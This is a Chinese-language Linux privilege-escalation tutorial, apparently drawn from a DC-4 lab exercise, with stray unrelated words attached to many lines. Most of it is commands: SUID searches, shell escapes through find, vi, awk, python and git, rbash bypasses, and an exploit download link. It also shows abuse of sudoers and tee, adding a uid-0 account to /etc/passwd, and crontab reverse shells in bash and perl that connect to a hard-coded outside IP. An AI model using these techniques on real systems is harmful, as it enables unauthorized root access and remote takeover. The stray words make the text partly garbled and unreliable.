運行某些程序時暫時得到root的權限,例如ping(socket須要root才能運行)
搜索符合條件的能夠用來提權的:php
find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \; find / -user root -perm -4000 -print 2>/dev/null 三種均可以
搜索能夠提權的程序,通常有如下 :python
nmap vim find Bash More Less Nano cp
舉例:find提權linux
find / -perm -u=s -type f 2>/dev/null
發現find能夠利用git
普通用戶,進入到/tmp目錄下,而後新建一個文件。github
touch abcd find abcd -exec whoami \;
會發現已是root權限shell
rbash就是受限制的bash,通常管理員會限制不少命令,例如whoami cd cat等不少經常使用的命令,不過確定會有命令可使用,咱們能夠查看$PATH有哪些,或者本身挨個試
echo $PATH #查看本身可使用的命令
less,ls,scp,vi 是咱們能夠用的
嘗試用如下來繞過ubuntu
#幹就完事了 1. vi test :!/bin/sh 2.ed 3.ne 4. more less more test !'sh' 5. man ls 操做同more less 6.find /usr/bin/find /etc/passwd -exec whoami \; /usr/bin/find /etc/passwd -exec /bin/sh \; 7.nmap 低版本 8.awk awk 'BEGIN {system("/bin/sh")}' 9.python python -c "import os;os.system('whoami')" python -c "import os;os.system('/bin/sh')" python -c "import pty;pty.spawn('/bin/sh')" 10.ruby 11.perl 12.php 13. BASH_CMDS[a]=/bin/sh;a
最後用13成功繞過了rbash,進入了人shvim
趕忙試試用/bin/bash進入bash,沒有權限的提高,我就以爲這個好用,能用tab補全
執行: export PATH=$PATH:/bin/ export PATH=$PATH:/usr/bin 或者:PATH=$PATH:/bin PATH=$PATH:/usr/bin
就能夠正常使用了
sudo git help config !/bin/bash或者!'sh'完成提權 sudo git -p help !/bin/bash
下載地址:https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zipruby
有的時候,普通用戶常常要執行某個命令,可是常常須要sudo輸入密碼,咱們就能夠經過配置/etc/sudoers文件來實現普通用戶某個命令權限的提高,可是若是一旦是給了用戶寫入的root權限,好比vi,那麼這個普通用戶一旦被入侵,就能夠經過vi來提權
首先來看/etc/sudoers chmod u+w /etc/shudoers vi /etc/sudoers
看到這裏 # User privilege specification root ALL=(ALL:ALL) ALL
root:表明用戶 第一個ALL:之網絡中的主機,我也不知道什麼意思,可是這個all仍是不動好了 第二個(ALL:ALL):指以誰的身份去執行,root就好了 第三個ALL:指全部的命令,能夠本身制定,好比/bin/ls,/bin/nc
看下面的圖: 表明了用戶zaq能夠以root的權限運行ls指令
前邊要加sudo,能夠看到zaq用戶成功查看了/root目錄的結構
sudo -l 顯示出本身(執行 sudo 的使用者)的權限
若是這個/bin/ls變成了能夠寫入文件的命令會怎麼辦呢?好比: /usr/bin/tee
這是在DC-4靶機上遇到的 ##################################################################### 先看如下tee的用法 zaq@instance-f95a3vkt:/bin$ /usr/bin/tee --help Usage: /usr/bin/tee [OPTION]... [FILE]... Copy standard input to each FILE, and also to standard output. -a, --append append to the given FILEs, do not overwrite -i, --ignore-interrupts ignore interrupt signals -p diagnose errors writing to non pipes --output-error[=MODE] set behavior on write error. See MODE below --help display this help and exit --version output version information and exit #################################################################### 把輸入寫入文件,若是是-a的話就會在最後新起一行追加內容
1.corntab反彈shellbash
當 /bin/sh指向/bin/dash的時候(ubuntu默認這樣,當前的靶機也是這樣),反彈shell用bash的話得這樣彈: * * * * * root bash -c "bash -i >&/dev/tcp/106.13.124.93/2333 0>&1" 這樣彈shell的時候不知道爲何很慢,耐心等等
或者: */1 * * * * root perl -e 'use Socket;$i="106.13.124.93";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
2.suid
值得注意的是:chmod 4777 /bin/bash不會有這種效果(曾經看到這個解答,我給忘了,你不用管爲何了,本身試試就行了)
3.passwd添加用戶
test:x:0:0::/home/admin:/bin/bash
4.sudoers文件
echo "charles ALL=(ALL:ALL) ALL" | sudo teehee -a /etc/sudoers